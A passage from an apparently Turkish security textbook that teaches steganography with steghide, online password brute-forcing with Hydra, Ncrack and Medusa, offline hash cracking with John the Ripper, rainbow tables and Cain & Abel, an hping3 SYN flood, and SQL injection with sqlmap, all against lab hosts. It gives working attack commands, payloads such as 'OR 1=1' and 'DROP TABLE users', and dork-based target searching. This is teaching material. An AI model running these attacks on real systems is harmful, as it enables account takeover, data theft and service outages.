Yazarak kurulumu yaptıktan sonra steghide yazılarak aracın
versiyon bilgisi ve yardım menüsü görüntülenebilir.
Bu aşamada kullanacağımız resim ve txt dosyasını masaüstünde
gizlibelge isimli bir klasör açarak bu klasörün içine atalım. File
komutu ile dosyalarımıza bakalım.
Şekil 4-16 Steganography algoritması
104
steghide -embed -cf kamyon.jpg ef sifre.txt komutu ile sifre.txt
dosyasının kamyon.jpg içine gizlenecektir. Burada -embed
gizleme işlemi için, -ef gizlenecek dosya için ve -cf taşıyıcı
dosya için kullanılan parametrelerdir.
steghide bir parola oluşturmamızı isteyecek ve bu parolayı
sifre.txt dosyasını tekrar çıkarırken kullanacaktır. Aşağıda
orijinal resim ve içerisinde gizlenmiş bilgi barındıran resim
dosyası görülmektedir.
İçerisinde gizli bilgi bulunduğunu bildiğimiz bir resim
dosyasından
Şekil 4-18 Orijinal dosya Şekil 4-18 Steghide çıktısı
105
$ steghide extract -sf kamyon.jpg komutu ile bilgiyi çıkartalım
kamyon.jpg dosyasının içine gizlediğimiz sifre.txt dosyası aynı
klasörün altına oluşturulacaktır.
gelen dosya klasörünün altında sifre.txt dosyası oluşturuldu.
Sifre.txt dosyasının içeriği görüntülenerek metin dosyası olduğu
görülür.
Böylelikle sifre.txt dosyasını gizleyerek taşımayı
gerçekleştirdik.
Steghide ile sadece metin dosyaları değil JPG, BMP, WAV
formatındaki dosyaları birbirleri içine gizleyebiliriz.
$ steghide embed -cf ayicik.jpg -ef gizli.jpg
Ayicik.jpg resim dosyasının içine gizli.jpg resim dosyasını
sakladık.
106
Şekil 4-19 Steghide – Resim içine resim saklama
Taşıyıcı resmin boyutu büyük (976kB), içerisine gizlenen
resmin boyutu küçük (9.1kB) olması gizlenen bilginin fark
edilmemesi için önemlidir.
4.3 Online Parola Saldırıları
Hedefin web üzerinde olduğu durumlarda parola denemeleri
yaparak gerçekleşen saldırılardır. Bu tip saldırılar doğrudan
sunucu üzerine yapıldığı için hesabın kilitlenme riski vardır ve
parolaların tek tek denenmesi uzun zaman almaktadır. Hydra,
Medusa ve ncrack araçları parola listesindeki bütün parolaları
sırayla deneyerek sonuca ulaşmaya çalışmaktadır. Saldırı
öncesinde ilgili portun açık olması gerektiği için nmap ile
portun açık olup olmadığı kontrol edilmelidir.
4.3.1 Online Parola Kırma Araçları
4.3.1.1 Hydra
En ayrıntılı online parola deneme araçlarından birisidir. http,
ftp, smtp, pop3, telnet, rdp, vnc protokollerini destekler. Diğer
araçlara göre daha hızlıdır.
Hydra aracının parametrelerini “hydra -h” ile görebiliriz. Bu
parametrelerden bazıları;
107
-l : kullanıcı adı komut satırından girilecek ise
kullanılır.
-L : kullanıcı adını bir listeden alarak deneme
yapılmak isteniyorsa bu parametre ile kullanıcı adlarının
yazılı olduğu dosya yolu gösterilmelidir
-p : parola biliniyorsa bu parametre ile komut
satırından girilebilir.
-P : Parolaları bir dosya içerisinden çağırmak için
kullanılır.
-V : yapılan denemeler ekranda gösterilir.
-f : kullanıcı adı ve parolayı bulduğunda denemeyi
durdurur.
-e nsr : kullanıcı adı ve parola boş veya aynı olduğu
durumları denemek için kullanılır.
Hydra ile kullanıcı adını bildiğimiz bir ftp sunucusu için parola
denemeleri yapacağız.
ftp sunucusu 192.168.107.130 adresinden yayın yapmaktadır.
Kullanıcı adı “kullanici” olduğunu bilmekteyiz. Bu kullanıcı
için masaüstünde bulunan parolalar.txt içindeki parolaları sırası
ile deneyeceğiz.
108
Şekil 4-20 Hydra parola saldırısı
Hydra parolayı “123456” olarak buldu.
Görüldüğü gibi parolayı bu şekilde bulmak için kullanıcı adı ve
parolanın tahmin edilmesinin çok kolay olması gerekmekte.
Yaptığımız örnekte kullanıcı adını bildiğimiz halde hydra
parolayı bulmak için uzun zaman harcamıştır. Sadece sayılardan
oluşan parolaların harf ve özel karakter içeren parolalara göre
kırılması çok daha kısa sürmektedir.
4.3.1.2 Ncrack
Hydra gibi online bir parola çözme aracıdır. http, pop3, ftp, ssh,
rdp, vnc MySQL ve telnet protokollerini destekler. Nmap
tarafından geliştirilen bir araçtır ve nmap ile uyum içinde
çalışabilmektedir. Çok kullanılan bazı parametreleri şunlardır;
-user : kullanıcı adının bilindiği durumlarda bu
parametre ile komut satırından girilebilir.
-U : kullanıcı adının bir dosyadan alınacağı
durumlarda bu parametre kullanılır.
109
-pass : parola bilgisinin bilindiği ve komut satırından
girileceği durumlarda kullanılır.
-P : parola listesinin bulunduğu dosya bu parametre
ile gösterilir.
-p : kullanılacak protokolün belirtildiği parametredir.
-CL : aynı anda yapılacak bağlantı sayısını belirtir.
-v : yapılan işlem ile ilgili bilgi verir.
192.168.107.130 üzerinde uzaktan bağlantı için “rdpuser”
kullanıcısı olduğunu biliyoruz. Bu kullanıcı için parola
denemelerini ncrack kullanarak yapalım. Uzak bağlantı için
3389 portu kullanılmaktadır.
$ ncrack -p 3389 -user rdpuser -P /root/Desktop/parolalar.txt
192.168.107.130
Şekil 4-21 ncrack parola saldırısı
ncrack parolayı 123456 olarak buldu.
4.3.1.3 Medusa
Parola bulma yazılımlarının seçiminde, yazılımın yaptığı paralel
denemeler ve desteklediği servisler dikkate alınmaktadır.
Medusa aracı bu açıdan çok zengin ve güncel bir araçtır.
aşağıda medusa, hydra ve ncrack parola araçlarının
karşılaştırması yapılmıştır
http://foofus.net/goons/jmk/medusa/medusa-compare.html
adresinden detaylı bilgi alınabilir.
110
Konusu Özellik Medusa
2.2
Hydra
7.1
Ncrack
0.4
lisans GPL-2 GPL-3 GPL-2
Core Parallel Method pthread fork()
FTP FTP √ √ √
HTTP Basic Auth √ √ √
HTTP
Proxy √
IMAP Method LOGIN
Support
√ √
Microsoft
SQL Port Auto-Detection √
MS-SQL √ √
MySQL Pre-4.1 Authentication √ √
Pre-4.1 Hash Passing √
4.1+ Authentication √ √
POP3 Method AUTH-USER
Support
√ √ √
Method AUTH-
LOGIN Support
√ √
RDP
(Terminal
Server)
√ √ √
111
Pass the Hash Support √
RLOGIN .rhost Support √
Password Support √ √
RSH √ √
Access Detection
(ADMIN$)
√
SMTP Method AUTH-
LOGIN Support
√ √
Method AUTH-
PLAIN Support
√ √
SSHv2 √
(libssh2
)
√
(libssh
)
√
Telnet Generic Telnet √ √ √
Cisco (AAA/non-
AAA)
√ √ √
VNC Password-
less/Password-only
Support
√ √
VmWare
Authentica
tion
Daemon
Non-SSL
Authentication
√ √
Web Form
Module √ √
112
Tablo 4-1 Online parola kırma araçlarının karşılaştırması
Medusa aracının çok kullanılan bazı parametreleri;
-h : host bilgisini belirtmek için kullanılır.
-H : birden fazla host üzerinde parola denemeleri yapılacağı
zaman host bilgisini dosyadan almak için kullanılır.
-u : kullanıcı adı bilgisini komut satırından girmek için
kullanılır.
-U : kullanıcı adı bilgisini dosyadan okumak için kullanılır.
-p : parola bilgisi komut satırından girileceği zaman
kullanılır.
-P : parola bilgisini dosyadan okumak için kullanılır.
-M : protokol bilgisi bu parametre ile belirtilir.
-T : aynı anda yapılacak deneme yapılacak bilgisayar
sayısını belirtir.
-t : aynı anda denenecek kullanıcı sayısını belirtir.
-L : denemeleri paralel olarak gerçekleştirir.
Ssh protokolünü kullanarak 192.168.107.130 adresindeki
bilgisayarın kullanıcı adı ve şifresini bulmaya çalışalım.
113
Şekil 4-22 nmap ile açık portların tespiti
$ medusa -h 192.168.107.130 -u rdpuser -P
/root/Desktop/parolalar.txt -M ssh
masaüstünde bulunan password.txt içinde bulunan parolalar
rdpuser kullanıcısı için sıra ile denenerek parolaya ulaşılmıştır.
Bu işlem bilinmeyen bir kullanıcı adı için veya zor bir parola
için çok uzun zaman alacağı gibi şifreyi bulma olasılığı da
düşüktür.
Şekil 4-23 Medusa ile parola saldırısı
4.3.2 Offline Parola Saldırıları
Online parola saldırılarına göre çok daha hızlı gerçekleşirler.
Parolanın offline şekilde çözülebilmesi için parolanın
şifrelenmiş halinin yani “hash”inin elimizde olması gerekir.
114
Kablosuz ağlardan yakalanan şifrelenmiş paketlerin çözülmesi
offline parola saldırılarına örnek gösterilebilir.
Hash bilgisi alındıktan sonra çeşitli araçlar ve tanımlamalar ile
tipi ve uzunluğu tahmin edilebilmektedir. Hash Identifier aracı
ile şifrenin algoritması otomatik olarak bulunabilir.
$ Pip install hashid
Komutu ile hashid aracı kurulduktan sonra kontrol edilmek
istenen hash doğrudan veya dosya olarak hashid aracında
işlenebilir.
$ hashid ‘4e6334e71dab1c3dbfda9704f2f832f5’
Şekil 4-24 Hashid
Hash tipi belirlendikten sonra bu hash’in daha önce çözülüp
çözülmediğini internette arayabilir veya Findmyhash aracı ile
elimizdeki hash daha önceden çözülmüş ise şifreyi çözmeye
gerek kalmadan hızlıca sonuca ulaşmış oluruz.
115
$ findmyhash MD5 -h 200ceb26807d6bf99fd6f4f0d1ca54d4
komutu ile şifrelenmiş 200ceb26807d6bf99fd6f4f0d1ca54d4
hash’inin , “administrator” kelimesinin MD5 ile şifrelenmiş hali
olduğu bulunmuştur.
Şekil 4-25 findmyhash örneği
Hash bilgisinin bu şekilde elde edilememesi durumunda şifreyi
çözebilmek için ;
Brute Force
Sözlük Saldırısı
Rainbow Tablosaldırıları
Hibrid saldırılar kullanılabilir
4.3.3 Sözlük Saldırıları
Ortak kullanılan parolaları kullanarak oluşturulan parola
kütüphanelerini kullanarak yapılan saldırılardır. Bu parola
listelerini kendimiz oluşturabilir, github üzerinden ya da
weakpass.com gibi sitelerden elde edilebileceği gibi illegal
yollardan web sitelerindeki kullanıcı adı parola gibi bilgilerin
sızdırılması, çalınması veya satılması gibi yollarla da bu
listelere ulaşılabilir. Bu yöntemde her bölgenin, ülkenin parola
116
özellikleri farklı olduğu için oluşturulan sözcük listelerinin de
özel olarak oluşturulması gerekmektedir.
4.3.4 Brute Force
Diğer bir adı kaba kuvvet saldırısıdır. Bütün ihtimalleri tek tek
deneyerek yapılan, sonuca ulaşmanın çok uzun zaman aldığı bir
yöntemdir. Bu yöntemde başarı şansını etkileyen en önemli
faktör kırmaya çalıştığımız parolanın uzunluğu ve içinde
kullanılan karakterlerdir. Kullandığımız listenin kapsamlı
olması şifrenin kırılma ihtimalini artıracaktır fakat kullanılan
listenin uzun olması büyük zaman kaybına sebep olmaktadır.
kali üzerinde brute force için sözcük listeleri oluşturmayı
sağlayan crunch aracı ile istediğimiz karakterleri içeren listeler
oluşturabiliyoruz.
$ crunch 6 8 1234567890 -o /root/Desktop/bruteforce.txt
Komutu ile 6 karakterden başlayarak 8 karaktere kadar sadece
sayılardan oluşan bir liste hazırladık. -o parametresi ile
oluşturulacak dosyanın yolunu ve adını belirttik.
Şekil 4-1 Crunch ile 6 ve 8 haneli sayılardan üretilen sözlük
Oluşturulan dosyanın boyutu parolanın karakter uzunluğuna ve
parolalarda kullanılan karakterlerin sayısına göre değişmektedir.
117
Yukarıdaki örnekte listenin boyutu 941MB içindeki sözcük
sayısı ise 111000000’dur.
Bütün ihtimallerin denenmesi yerine rainbow Tablosaldırıları
tercih edilmelidir.
4.3.5 Rainbow TabloSaldırıları
Rainbow Tabloönceden hash değerleri hesaplanmış bir sözcük
listesidir. Daha önceki yöntemler, elimizdeki hash değerini,
listeden gelen sözcüğün hash değerini hesapladıktan sonra
birbirleri ile karşılaştırılmasına dayanmaktaydı. Bu yöntemde
ise rainbow Tablodaha önceden hesaplanmış hash değerleri ile
elimizdeki hash değerinin karşılaştırılmasına dayanmaktadır.
Hash değerleri daha önceden hesaplandığı için zaman kaybını
önleyip daha hızlı sonuç vermesini sağlayacaktır.
Rainbow Tablooluşturmak için kali için rtgen aracı ya da
Windows üzerinde çalışan winrtgen araçları kullanılabilir.
Winrtgen aracında tablo oluşturmak için;
Şekil 4-26 winrtgen aracı
Add Tablobutonu ile karakter setini, şifre uzunluğunu şifreleme
algoritmasını seçerek rainbow Tabloayarlarını yapıyoruz.
Burada chain len – zincir uzunluğu ve chain count – zincir
sayısı değerlerinin parola uzunluğu değerine göre tablo
118
boyutunun ve şifre çözülebilme yüzdesinin hemen
görülebilmesi aracın güzel bir özelliğidir.
Şekil 4-27 winrtgen rainbow Table çıktısı
Sonraki ekranda start butonuna tıklayarak tablomuzu
oluşturuyoruz.
Şekil 4-28 winrtgen tabloları
119
120
Kali üzerinde rainbow table oluşturmak için rtgen aracını
kullanabiliriz.
Şekil 4-29 Rainbow Tablosu üreticisi rtgen
$ rtgen md5 numeric 1 6 0 1000 40000 0
Burada md5 algoritmasına göre, 6 karakter uzunluğunda ve
sadece sayılardan oluşan bir tablo üretmek için komut satırımızı
yazdık. Tablo index numarası 0, zincir uzunluğu 1000 ve zincir
sayısı 40000 olarak tablo sayısı belirlenmiştir.
Şekil 4-30 rtsort aracı
rtsort aracı ile oluşturduğumuz rainbow Tablodosya haline
getirilecektir. Son aşamada rcrack aracı ile elimizdeki hash
121
değerini tablo ile karşılaştırıp hızlı bir şekilde parolaya
ulaşmaya çalışacağız.
Şekil 4-31 rcrack aracı
rcrack hash değerinin 254652 değerine karşılık geldiğini kısa
bir sürede buldu.
4.3.6 John the Ripper Aracı
Sözlük saldırıları, kaba kuvvet saldırıları ve rainbow
Tablosaldırılarını birlikte kullanan en gelişmiş ve en popüler
araçlardan biridir. Pek çok şifre tipini tanır. Kendi içinde
bulunan sözcük listeleri, brute force ve rainbow Tabloaraçları
ile Linux ve Windows kullanıcı şifrelerini, zip/rar şifrelerini ve
şifrelenmiş parolaları çözebilir.
Linux kullanıcı şifresinin çözülmesi için komut satırına
$ john / etc / shadow
yazmamız yeterli olacaktır.
122
Şekil 4-32 John ile linuz system şifresini kırma
Bu işlemin süresi parolanın zorluk derecesine göre değişecektir.
Örneğimizde Sha512 ile şifrelenmiş bir parolanın çözülmesi çok
uzun zaman alacaktır. Sıkıştırılarak şifrelenmiş bir dosyanın
şifresini çözmek için öncelikle rar2john komutu ile rar ile
şifrelenmiş dosya john formatına dönüştürülür.
$ rar2john /root/Desktop/referances.rar> referances.txt
$ john --format = rar referances.txt
Şekil 4-33 john ile rar şifresi kırma
Şifrelenmiş rar dosyasının parolası 123456 olarak bulunmuştur.
Aşağıda ise md5 ile şifrelenmiş sözcükleri çözmek için format
parametresi raw-md5 olarak değiştirilerek hash içeren metin
belgesi gösterilmiştir.
$ john --format = raw-md5 md5sifre.txt
Şekil 4-34 john ile md5 hashini kırma
123
Metin belgesi içinde bulunan md5 ile şifrelenmiş parolayı
“password” olarak buldu.
Elimizde bulunan bir sözlük ile saldırı yapmak için --wordlist
parametresini kullanarak sözlüğün yolunu gösterilmelidir.
$ john --wordlist = passwords.txt --format = raw-md5
md5sifre.txt
Şekil 4-35 john ile sözlük saldırısı
Md5 ile şifrelenmiş sözcüğü, parolalar.txt sözlüğünde bularak
sonuç elde edilmiştir.
4.3.7 Cain & Abel
Windows tabanlı , içinde ağ ve şifre kırma araçları bulunan bir
yazılımdır. Çözmek istediğimiz SHA-1 hash ini, cracker
sekmesinden sonra soldaki menüden SHA-1 seçilerek file
menüsünden Add to List tıklanır. Açılan pencereye çözmek
istediğimiz hash yazılır.
124
Şekil 4-36 cain & abel aracı
Listemize eklenen hash üzerine sağ tıklayarak Dictionary
Attack, Brute-Force veya Rainbow Tabloseçeneklerinden
hangisini kullanılmak isteniyorsa seçilir.
Şekil 4-37 cain & abel parola kırma
Sözlük saldırısı için Dictionary Attack seçip devam ettiğimizde
açılan pencerenin üst kısmında kullanılacak olan sözlükler
görülmektedir. Bu bölüme sağ tıklayarak yeni bir sözlük ekleyip
125
start butonuna tıklandığında parolanın 654321 olarak
çözülecektir.
Şekil 4-38 cain & abel ile sözlük saldırısı
4.4 DOS (Denial of Service) /DDOS
(Distributed Denial of Service)
Hedef olarak belirlenen sistemlerin erişilebilirliğini
engelleyerek kullanılmaz hale getirmeyi amaçlayan saldırı
tipidir.
DOS bir bilgisayar ile yapılan saldırı iken DDOS birçok
bilgisayarın aynı anda hedef bilgisayar ve ağlara yönelik saldırı
gerçekleştirmesidir. DDOS hedef sistemin bant genişliğini
doldurur kaynak tüketimini artırır. DOS saldırılarını engellemek
kolay iken DDOS saldırıları pek çok bilgisayar ile gerçekleştiği
için buna karşı önlem almak çok zordur. DDOS saldırılarında
BotNet olarak isimlendirilen zombi bilgisayarlar kullanılırlar.
DOS ve DDOS saldırılarında hedef sistemin kapasitesinin
üzerinde anlık istek ve kullanıcı sayısının çokluğu sonucunda
hedef sistem isteklere cevap veremez hale gelecektir. Hedef
126
olarak sistem yerine hatlar alınarak ta sistemin erişilebilirliği
engellenebilmektedir.
DDOS yöntemlerinden bazıları şu şekildedir;
4.4.1 SYN Flood
Bir istemci sunucuya TCP isteğinde bulunduğunda SYN ile
bağlantı isteği gönderir. Sunucu cevap olarak SYN-ACK
mesajını istemciye gönderir. Son aşamada istemci sunucuya
mesajı aldığını belirten ACK mesajı ile cevap vererek bağlantı
kurulur. Buna üçlü el sıkışma adı verilir.
SYN Flood yapılırken el sıkışmanın üçüncü adımı olan ACK
gönderilmez veya sahte bir IP adresi kullanarak gönderir.
Sunucu ACK mesajını beklerken isteklerin yoğunluğundan
dolayı sunucu normal bağlantıları oluşturamaz hale gelecektir.
Şekil 4-39 SYN Flood
Bu saldırı tipi en sık kullanılan saldırı tipi olmakla birlikte çok
kolay bir şekilde gerçekleştirilebilir. Aynı zamanda saldırıyı
gerçekleştireni bulmak imkansıza yakındır.
127
Şekil 4-40 Botnet Saldırısı
4.4.2 UDP Flood
Hedef bilgisayarın rastgele portlarına UDP paketleri gönderilir,
hedef makine; ilgili portu dinleyen bir uygulama olup
olmadığını kontrol ederek ICMP(internet control message
protocol) ile porta ulaşılamadığı mesajını döndürür. Her
gönderilen paket için bu işlemleri yapan sunucu erişilemez hale
gelir.
UDP saldırısını engellemek için kullanılmayan portlar güvenlik
duvarı ile kapatılarak bu portlar için cevap verilmesi engellenir.
DOS ve DDOS saldırılarda kullanılan araçlardan bazıları;
Hping, Netstress, Juno, Russkill ve Zeus BotNet tir.
4.4.2.1 Hping Aracı
Hping3 aracı istenilen kriterlere göre paketler oluşturmamıza
olanak sağlayan kolay ve kullanışlı bir araçtır. Bu araç ile,
DDOS saldırıları, Firewall testleri hostlar arası dosya transferi
yapılabilmektedir.
128
Terminalde hping3 -h komutu ile kullanılan parametreleri
görebiliriz. Aracın çok kullanılan bazı parametreleri şunlardır;
-S : syn paketi gönder
-p : hedef port numarası
-c : gönderilecek paket sayısı
-d : gönderilecek veri boyutu
default mode (belirtilmezse TCP trafiği oluşturur.)
-0 veya – – rawip = RAW IP
-1 veya – – icmp = ICMP
-2 veya – – udp = UDP
-8 veya – – scan = SCAN
-9 veya – – listen = listen
Hping kullanarak 192.168.107.130 numaralı ip üzerinde
bulunan makinemize syn flood saldırısı gerçekleştirelim
Şekil 4-41 nmap ile kurbanın açık portları
Hedef IP üzerindeki güvenlik duvarını kapatıp açık olan portları
nmap ile listeledikten sonra 22 numaralı ssh portuna TCP trafiği
oluşturmak için
$ hping3 -c 1000 -d 1200 -S -p 22 --flood --rand-source
192.168.107.130
Komut satırını yazdık. Burada 1000 gönderilen paket sayısı,
1200 paketlerin boyutu -S sync paketi, 22 hedef aldığımız port
ve 192.168.107.130 hedef IP numaramızdır. --rand-source
parametresi ile kaynak adresinin sürekli değişmesini sağladık.
129
Şekil 4-2 Hping aracı örneği
Bu saldırı hedefimizdeki bilgisayarda yüksek ağ trafiğine ve
yüksek işlemci kullanımına sebep olmuştur. 22 numaralı ssh
üzerinden bağlantı sağlamaya çalıştığımızda ise hedef
bilgisayarın cevap vermediği görülmüştür.
4.5 SQL Enjeksiyonu
4.5.1 SQL Enjeksiyonuna Giriş
Bu bölümde, SQL Injection saldırıları (veya SQLi) olarak
bilinen önemli bir güvenlik saldırısı sınıfını analiz ediyoruz.
SQLi, bir saldırganın bir web sunucusu veya uygulama
tarafından kullanılan veritabanında (veya DBMS, Veri Tabanı
Yönetim Sistemi) kötü amaçlı SQL ifadeleri yürütebildiği
bağlamdaki her türlü saldırıyı ifade eder. SQLi saldırıları, bir
DBMS kullanan herhangi bir web sitesini etkileyebilir ve
açıkça, şu anda İnternet'teki web uygulamalarını hedefleyen en
yaygın (ve tehlikeli) tehditlerden biridir. Dolayısıyla, SQLi
saldırılarının amacı, veritabanında saklanan hassas verilere
erişmek veya DBMS'yi kullanıma sunmayan bir tür eylem
gerçekleştirmek için, web uygulamasının normal işlemlerini
tersine çevirmektir.
SQL Injection saldırıları, bir veritabanına bağlanan web
sayfalarının veri formlarına SQL komutları çalıştırmayı
içerebilir. Bu formlar daha sonra SQL komutlarını veritabanına
geri gönderir ve veritabanı belirli koşullar altında hedef verilere
erişime izin verir. Dolayısıyla, SQLi'nin arkasındaki genel
hedef, bir saldırganın web uygulaması tarafından uygulanan
kimlik doğrulama ve yetkilendirme prosedürlerini atlayabilmesi
ve daha sonra veritabanının tüm içeriğini (veya seçilen
kayıtları) almasını sağlamaktır. Bu süreç veri okuma dışında,
SQLi veritabanında kayıt eklemek, değiştirmek veya silmek için
130
de kullanılabilir ve bu nedenle DMBS'de tutulan verilerin
bütünlüğüne karşı bir tehdit oluşturur. Başarılı bir saldırı
durumunda, bir saldırgan, SQL Injection ile hassas verilere
yetkisiz erişim sağlayabilir. Örn. Müşteri verileri, kişisel bilgiler
ve fikri mülkiyet bilgileri.
SQLi, istemcinin SQL sorgusunun eklenmesine (veya “enjekte
edilmesine”) neden olur; bu, saldırganın DMBS'de depolanan
verilere yetkisiz erişim sağlamasına olanak tanır. Böylece SQLi,
web uygulamalarının kimlik doğrulama ve yetkilendirme
açısından kötü yapılandırmasını ve bu tür web uygulamalarının
kullandıkları veritabanlarını nasıl kullandıkları üzerinde önemli
bir araçtır . SQLi saldırıları, aralarında MySQL, Oracle veya
SQL Server'ın da bulunduğu tüm veritabanlarını hedefleyebilir.
Web uygulamaları ve ilgili veritabanlarının SQLi ataklarına
karşı güvenliğinin amacı ve tamamlayıcı güvenlik etkinliklerini
uygulama yöntemiyle SQLi saldırılarının örneklerini analiz
ederek ilerleyeceğiz.
4.5.2 SQLi saldırılarına örnekler
Daha önce de söylendiği gibi, SQLi saldırıları hem web
uygulamalarının hem de veritabanlarının yapılandırılmasındaki
zayıflıkları keşfetmeye çalışır. Bir SQLi saldırısının başarılı
olması için, savunmasız web sitesinin kullanıcı girdisinin bir
SQL ifadesinin parçası olarak kullanılmasına izin vermesi
gerekir. Bu durumda, saldırgan SQL sorgusuna bir veri bilgisi
ekleyebilir, bu da sunucu tarafından veritabanı sunucusuna karşı
çalıştırılan sorguya dahil edilir. Web uygulaması, bu SQL
sorgusunu bir saldırı olarak algılamada filtrelemede veya
tanımada başarısız olursa ve veritabanı istenen erişimi
yetkilendirirse, sorgu başarılı olur ve veritabanından gelen
bilgiler saldırganın etki alanına girer.
SQL injeksiyon prensibini daha iyi anlatabilmek için bir giriş
örneği olarak, Şekil 4.3'de betimlenen durumu, kodda
gösterildiği gibi giriyoruz. Bu komut satırları, kullanıcıların
DBMS'ye karşı kimlik doğrulaması ve aynı veritabanında bir
SQL sorgusu çalıştırması amacıyla oluşturulmuştur. Bu script
131
ile bir kullanıcı veritabanına bağlanarak sisteme erişime hak
kazanır. Gözlemleyebildiğimiz gibi, bu betik SQLi'ye karşı
savunmasızdır çünkü bir saldırgan, kullanıcı adı ve parolalarını
depolayan alanlarda kötü amaçlı girdi gönderebilir ve gerçekte
DMBS tarafından yürütülen SQL deyimini değiştirebilir.
Şekil 4-3 Bir SQL injeksiyon örneği
SQLi'nin bir diğer klasik örneği olarak, saldırganın Şekil 4.3'de
gösterilen komut dosyasını çalıştırabileceğini ve şifre alanını
“password OR 1 = 1 ”olarak ayarlayabileceğini düşünün. Bu
durumda, aslında her zaman doğru olarak değerlendirilen bir
koşulu ekliyoruz ('OR 1 = 1' ifadesinin kullanımı parola
alanının içeriğinden dolayıdır) ve sonuçta Şekil 4.4'de gösterilen
SQL sorgusu veritabanı sunucusuna gönderilir. Sorgu
yürütüldükten sonra sonuç, işlenecek uygulamaya döndürülür
ve bu da kimlik doğrulama baypasına neden olur. Böylece, şifre
alanının içeriği ne olursa olsun, seçilen kullanıcı üzerindeki
bilgilerin doğru olarak döneceğini gözlemleyebiliriz. Bu saldırı,
web uygulaması tarafından kaçış karakterlerinin (escape
characters) yanlış şekilde işlenmesi nedeniyle mümkün olabilir.
Şekil 4-4 SQLi atak içinde DBMS’e gönderilen sorgu
Web uygulamasının doğru şekilde işlenmesinin
gerçekleştirmemesi durumunda, bir SQLi saldırısının başka bir
örneğini tartışarak devam ediyoruz. Yine Şekil 4.3'de gösterilen
senaryo göz önüne alırsak, saldırganın kullanıcı adı yerine “1;
DROP TABLOusers” kodu ekleyebilir. Bu durumda, son
ifadeyi DBMS'ye karşı çalıştırmanın sonucu felaket olabilir,
çünkü sonuç, Şekil 4.5'de gösterilen SQL sorgusu olacaktır ve
132
bu da tablo kullanıcılarını DBMS tarafından düşürülmesine
neden olacaktır.
Şekil 4-5 DBMS’ye SQLi atak sonrası, bir başka SQL sorgusu
Böylece, SQLi saldırılarının, web uygulamasının veritabanı
isteklerini nasıl işlediğiyle ilgili güvenlik açıklarını
keşfedebileceğini görebiliriz. Tabii ki, veritabanının kendisi de
SQL sorgularını doğrulaması ve işlemesi için yanlış
yapılandırmalardan muzdarip olabilir ve SQLi saldırılarında
araştırılan yollar bu iki yönün niteliğine dayanır. Kötü amaçlı
SQL ifadeleri genellikle yürütme için bir giriş alanına eklenir ve
web uygulaması istemci tarafından gönderilen verileri doğru
şekilde işlemez ve saldırıyı tespit edemez ise SQLi saldırıları
başarılı olurlar.
4.5.3 Sqlmap kullanarak Kali'de SQL Injection
En popüler SQL enjeksiyon araçlarından biri, daha önce
kurduğumuz ve yapılandırdığımız Kali Linux test sistemimizde
de bulabildiğimiz sqlmap'dır. Aslında, sqlmap, belirli bir web
uygulamasının güvenlik açıklarını bir DBMS ile
bütünleşmesiyle test etmek için kullanabileceğimiz bir sızma
testi aracıdır. Lütfen kitabımızın F Bölümünde, web güvenliği
ile ilgili diğer hususların da inceleneceğini unutmayın.
Testlerimizde kullanılan veritabanı açısından, PHP ve Apache
ile birlikte web sunucularında yaygın olarak kullanılan
MySQL'in kullanımını ele alıyoruz. Bu tür teknolojiler
genellikle bir LAMPP Linux sunucusu olarak adlandırılır.
Ayrıca sqlmap'in Microsoft'un SQL Server ve Oracle gibi
MySQL dışındaki veritabanları için kullanılabileceğini de
unutmayın.
4.5.4 Savunmasız web sitelerini bulma
Potansiyel olarak korunmasız web sitelerini bulmak açısından,
belirli URL biçimlerinin araştırılması için ilginç fırsatlar
133
sunmaktadır. Özellikle, bu tür web sitelerini bulmak için yararlı
bir strateji, Google'da, diğerlerinin yanı sıra, Şekil 4.6'da
gösterilen biçimlerdeki ifadeleri kullanarak arama yapmaktır.
Şekil 4-6 (Potansiyel olarak) savunmasız web siteleri için arama ifadeleri
Google, önceki arama ifadelerini kullanarak milyonlarca aday
web sitesini kesinlikle sonuç olarak size geri döndürecektir.
Keşif için aday olarak gerçek bir web sitesini hedeflemek ilginç
olsa da, bu bölümdeki korsanlık testlerimize yönelik olarak,
özellikle test amaçcıyla geliştirilmiş, özellikle de https
adresinde bulunan bir web sitesini hedefleyeceğiz. :
//www.webscantest.com, Sayfa arayüzü Şekil 4.7'de
göstermektedir.
Şekil 4-7 SQLi saldırı testlerimiz için bir Web Tarayıcı Testi tarafı
SQL, enjeksiyon saldırılarına karşı savunmasızdır ve bu amaçla,
daha önce tartışıldığı gibi sqlmap'i kullanacağız. Bu araç,
URL'nin giriş parametresinin bir parçası olarak farklı türde SQL
enjeksiyon paylodları gönderir ve savunmasız olup olmadığını
belirlemek için sunucudan yanıtı kontrol eder. Bu işlemde,
sqlmap ayrıca uzak sistem işletim sistemini, veritabanının adını
ve sürümünü, uzak web uygulamasını denetlemek için
kesinlikle tüm yararlı bilgileri tanımlamaya da çalışır.
134
4.5.5 Sqlmap ile Başlangıç
Şekil 4.8'de görüldüğü gibi, Kali Linux’da “Uygulamalar”
alanında, özellikle “Database Assessment- Veritabanı İşlemleri”
altında, sqlmap'ı bulabiliriz. Bir web sitesinin güvenlik
taramasını gerçekleştirebilmek için özellikle URL'nin “php? Id
= xxx” ile bittiği web sitelerine bakıyoruz; burada “xxx” bir
sayıyı temsil etmektedir. Sqlmap kullanarak, Şekil 4.8'de
gösterildiği gibi belirli bir web sitesinin güvenlik açığı testini
gerç-ekleştirebiliyoruz.
Şekil 4-8 Kali Linux’da sqlmap
135
Şekil 4-9 SQL injection zaafiyeti için sqlmap kullanımı
4.5.6 SQLi’den kaçınma teknikleri ve karşı önlemler
Önceki örneklerin yanı sıra, web uygulamalarının bir veritabanı
sorgusuyla başa çıkacak şekilde programlandığından, yani
istemci tarafından gönderilen bilgilerin (böylece saldırganın)
ayrıştırılmasındaki hatalar veya sınırlamalar nedeniyle SQLi
zaafiyetlerinin mevcut olduğunu gözlemleyebiliriz. SQLi,
pratikte, çeşitli faktörlerin konjugasyonu nedeniyle
oluşmaktadır. Birincisi, yazılım geliştiricilerin, girdiyi sterilize
etmemekle birlikte, kullanıcı tarafından sağlanan girdileri içeren
dinamik veritabanı sorguları oluşturabilmesi ve sonuç olarak
saldırganın (web uygulaması aracılığıyla) işlenecek kötü amaçlı
bir SQL sorgusu oluşturabilmesi ve gönderebilmesi mümkün
olmaktadır. Başka bir zafiyet yöntemi, DBMS'nin kimlik
doğrulamasını işleme biçimi ile ilgilidir. Tartışmaya devam
ederken, web uygulamalarını ve veritabanlarını SQLi
saldırılarından korumak için takip edilmesi gereken bir dizi
önleme tekniğini tanımlamakta fayda görülmektedir.
Bir savunma mekanizması oluşturmak; web uygulamasında
değişken bağlamaları kullanarak hazırlanmış ifadeleri
